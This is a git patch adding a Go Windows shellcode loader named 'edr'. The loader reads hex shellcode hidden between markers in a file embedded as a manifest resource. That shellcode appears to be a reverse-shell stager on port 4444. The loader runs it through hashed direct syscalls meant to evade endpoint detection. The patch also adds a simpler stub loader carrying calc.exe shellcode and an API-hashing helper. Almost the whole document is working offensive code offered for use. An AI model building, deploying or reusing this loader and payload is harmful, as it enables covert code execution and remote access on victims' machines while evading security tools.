From 704e90ffd33d5c06b8bf7a8a51425f3a37439c54 Mon Sep 17 00:00:00 2001
From: ASP4RUX <136134812+ASP4RUX@users.noreply.github.com>
Date: Wed, 13 Nov 2024 15:46:09 +0100
Subject: [PATCH] Add files via upload
---
go.mod | 9 +++
go.sum | 6 ++
hash.txt | 28 +++++++
manifiesto.txt | 17 +++++
rsrc_windows_amd64.syso | Bin 0 -> 1740 bytes
stub.txt | 53 +++++++++++++
syscall.go | 163 ++++++++++++++++++++++++++++++++++++++++
7 files changed, 276 insertions(+)
create mode 100644 go.mod
create mode 100644 go.sum
create mode 100644 hash.txt
create mode 100644 manifiesto.txt
create mode 100644 rsrc_windows_amd64.syso
create mode 100644 stub.txt
create mode 100644 syscall.go
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..044c8b9
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,9 @@
+module edr
+
+go 1.23.0
+
+require (
+ github.com/ASP4RUX/Hades v0.0.0-20241113125813-edbe0fc0cc2e // indirect
+ github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a // indirect
+ golang.org/x/sys v0.27.0 // indirect
+)
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..b7a27a4
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,6 @@
+github.com/ASP4RUX/Hades v0.0.0-20241113125813-edbe0fc0cc2e h1:0cUKEcvhH8EaxmHmEXW4IE+cbJSYb6BLyoyUCBHMrMo=
+github.com/ASP4RUX/Hades v0.0.0-20241113125813-edbe0fc0cc2e/go.mod h1:I3FkLCAfQ63hSvxW0QkUEeHwnqK3zHzCuKP/wpB0qOs=
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+golang.org/x/sys v0.27.0 h1:wBqf8DvsY9Y/2P8gAfPDEYNuS30J4lPHJxXSb/nJZ+s=
+golang.org/x/sys v0.27.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
diff --git a/hash.txt b/hash.txt
new file mode 100644
index 0000000..e6b0bd6
--- /dev/null
+++ b/hash.txt
@@ -0,0 +1,28 @@
+package main
+
+import (
+ "crypto/sha1"
+ "encoding/hex"
+ "fmt"
+ "os"
+)
+
+func main() {
+ if len(os.Args) == 1 {
+ println("Uso ./hash.exe ApiName")
+ os.Exit(1)
+ }
+
+ fmt.Println(hash(os.Args[1]))
+}
+
+func hash(f string) string {
+ s := []byte(f)
+ key := []byte{0xde, 0xad, 0xbe, 0xef}
+ for i := 0; i < len(s); i++ {
+ s[i] ^= key[i%len(key)]
+ }
+ sha := sha1.New()
+ sha.Write(s)
+ return hex.EncodeToString(sha.Sum(nil))[:16]
+}
diff --git a/manifiesto.txt b/manifiesto.txt
new file mode 100644
index 0000000..cefc673
--- /dev/null
+++ b/manifiesto.txt
@@ -0,0 +1,17 @@
+
+
+
+#!fc4883e4f0e8cc00000041514150524831d265488b526051488b521856488b5220480fb74a4a488b72504d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b020f85720000008b80880000004885c074674801d08b4818448b4020504901d0e3564d31c948ffc9418b34884801d64831c041c1c90dac4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115c7f00000141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a0059bbe01d2a0a4189daffd5$!
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/rsrc_windows_amd64.syso b/rsrc_windows_amd64.syso
new file mode 100644
index 0000000000000000000000000000000000000000..4c69d43ecc8c9127f842ad6aed008c2cced9be20
GIT binary patch
literal 1740
zcma)7OOM+&5cVQLfdo=60xpWVi<52ES-*bRZI|~njNQK9RPshtOX}l3
zb^W_d_0x~vUb|{JPN7d>yYFdJJ%qq;cF2
zZ-@B4nG1&G?_FOja8~Rx(HMvBFd^#OuU_P+ovTS_
zK`us7NJ}Ge38S>DWm1iSOlwplz%MK5Of#>P&`#vm>VO~itTIBUT1L;hQG{5>M%pNp
zijb8NJ0fW*up&hXKG<8as)TE`s)0zzB$~!a>!cH{P$D~H)r`)yPB?c$>YRzf>c-AG
z(1(WBctQzCJX@j~Xiu1O1~Tc|8ZL_t;$WO-WFgMjYDdDFEOivMj!FxsP3@DkCOLEV
zplAC{!xjZ_&z@zR`GtG-0}s%{Wyp9FPH(`1HCLcy$Eci16giebR-_`Y+g!*b?OU?e
z*0nOZ#+|bO3yt>96IVo13_{4lXP$uuau1d?(dLpht}T#bSL^6JVw7#r(OMMP=9~<3
zDKx0UY{>v+8~BBW3@riw6oKCq!2~u!L=boU_9I
zAP+3XllQ@(rjjM+`of!sWwLNd&etUl_Jh2^1~j2xDhy;A$WYs}HKCG^&LD%ZR%djM
zCBq$!MnjLlTyC168Hq>CbI3C;wo$$T?wK|i7tjO*Q^*naV$E5M_S9Qg=Yl11<2)2*&BRCs8uM~cS*Gwk$U
zcmw@*#N4Cw!_eJ#TY5+1#rD5NzIlKF9!uZTJ#Cj;zGI$^cm4hTR~oA2v3nbN0B))r
zwj)(M&e#OgdiCF~)~gF>>($2yp}t<7hxzT24+RjP6--YSmnRgTMo$(vN)~?uCG)ex
literal 0
HcmV?d00001
diff --git a/stub.txt b/stub.txt
new file mode 100644
index 0000000..605d910
--- /dev/null
+++ b/stub.txt
@@ -0,0 +1,53 @@
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+ PROCESS_CREATE_THREAD = 0x0002
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ CreateThread = kernel32.MustFindProc("CreateThread")
+ WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+)
+
+var plaintext = []byte{
+ //calc.exe https://github.com/peterferrie/win-exec-calc-shellcode
+ 0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
+ 0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
+ 0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
+ 0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
+ 0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
+ 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
+ 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
+ 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
+ 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
+ 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
+ 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
+ 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
+ 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
+ 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
+ 0xd7,
+}
+
+func main() {
+ Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(plaintext)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
+
+ AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
+
+ for i := 0; i < len(plaintext); i++ {
+ AddrPtr[i] = plaintext[i]
+ }
+
+ ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)
+
+ WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)
+}
diff --git a/syscall.go b/syscall.go
new file mode 100644
index 0000000..8840dda
--- /dev/null
+++ b/syscall.go
@@ -0,0 +1,163 @@
+package main
+
+import (
+ "crypto/sha1"
+ "encoding/hex"
+ "strings"
+ "unsafe"
+
+ hades "github.com/ASP4RUX/Hades/pkg/Hades"
+ "golang.org/x/sys/windows"
+)
+
+var (
+ kernel32 = hades.NewLazyDLL("kernel32")
+ FindResourceW = kernel32.NewProc("FindResourceW")
+ LoadResourceF = kernel32.NewProc("LoadResource")
+)
+
+func MAKEINTRESOURCE(id uintptr) *uint16 {
+ return (*uint16)(unsafe.Pointer(id))
+}
+
+func LoadResource(Module, ResInfo uintptr) uintptr {
+ ret, err := LoadResourceF.Call(
+ Module,
+ ResInfo,
+ )
+ if err != nil {
+ panic(err)
+ }
+
+ return ret
+}
+
+func FindResource(Module uintptr, Name, Type *uint16) uintptr {
+ ret, err := FindResourceW.Call(
+ Module,
+ uintptr(unsafe.Pointer(Name)),
+ uintptr(unsafe.Pointer(Type)))
+ if err != nil {
+ panic(err)
+ }
+
+ return ret
+}
+
+func ReturnShellcode() []byte {
+ Resource := FindResource(0, MAKEINTRESOURCE(1), MAKEINTRESOURCE(24))
+ DataResource := LoadResource(0, Resource)
+ str := windows.BytePtrToString((*byte)(unsafe.Pointer(DataResource)))
+ init := strings.Index(str, "#!")
+ final := strings.Index(str, "$!")
+
+ strFinal := str[init+2 : final]
+ shellcode, err := hex.DecodeString(strFinal)
+ if err != nil {
+ panic(err)
+ }
+
+ return shellcode
+}
+
+func hash(f string) string {
+ s := []byte(f)
+ key := []byte{0xde, 0xad, 0xbe, 0xef}
+ for i := 0; i < len(s); i++ {
+ s[i] ^= key[i%len(key)]
+ }
+ sha := sha1.New()
+ sha.Write(s)
+ return hex.EncodeToString(sha.Sum(nil))[:16]
+}
+
+const (
+ INFINITE = 0xffffffff
+ Handle = 0xffffffffffffffff
+ MEM_COMMIT = 0x00001000
+ MEM_RESERVE = 0x00002000
+ PAGE_EXECUTE_READWRITE = 0x40
+ GENERIC_EXECUTE = 0x20000000
+)
+
+func main() {
+ shellcode := ReturnShellcode()
+ newWhisper := hades.Whisper(hash)
+
+ NtAllocateVirtualMemory, err := newWhisper.GetSysid("1021ddc2cb8b096b")
+ if err != nil {
+ panic(err)
+ }
+
+ var BaseAddress uintptr
+ RegionSize := uintptr(len(shellcode))
+
+ err = NtAllocateVirtualMemory.Syscall(
+ Handle,
+ uintptr(unsafe.Pointer(&BaseAddress)),
+ 0,
+ uintptr(unsafe.Pointer(&RegionSize)),
+ MEM_COMMIT|MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ )
+ if err != nil {
+ panic(err)
+ }
+
+ NtWriteVirtualMemory, err := newWhisper.GetSysid("619eb9ad13d2bbd1")
+ if err != nil {
+ panic(err)
+ }
+
+ err = NtWriteVirtualMemory.Syscall(
+ Handle,
+ BaseAddress,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ if err != nil {
+ panic(err)
+ }
+
+ var Thread uintptr
+ NtCreateThreadEx, err := newWhisper.GetSysid("2b72e62dd995115a")
+ if err != nil {
+ panic(err)
+ }
+
+ err = NtCreateThreadEx.Syscall(
+ uintptr(unsafe.Pointer(&Thread)),
+ GENERIC_EXECUTE,
+ 0,
+ Handle,
+ BaseAddress,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ )
+
+ if err != nil {
+ panic(err)
+ }
+
+ Time := -(INFINITE)
+ NtWaitForSingleObject, err := newWhisper.GetSysid("5107adda1d10ef6e")
+ if err != nil {
+ panic(err)
+ }
+
+ err = NtWaitForSingleObject.Syscall(
+ Thread,
+ 0,
+ uintptr(unsafe.Pointer(&Time)),
+ )
+ if err != nil {
+ panic(err)
+ }
+
+}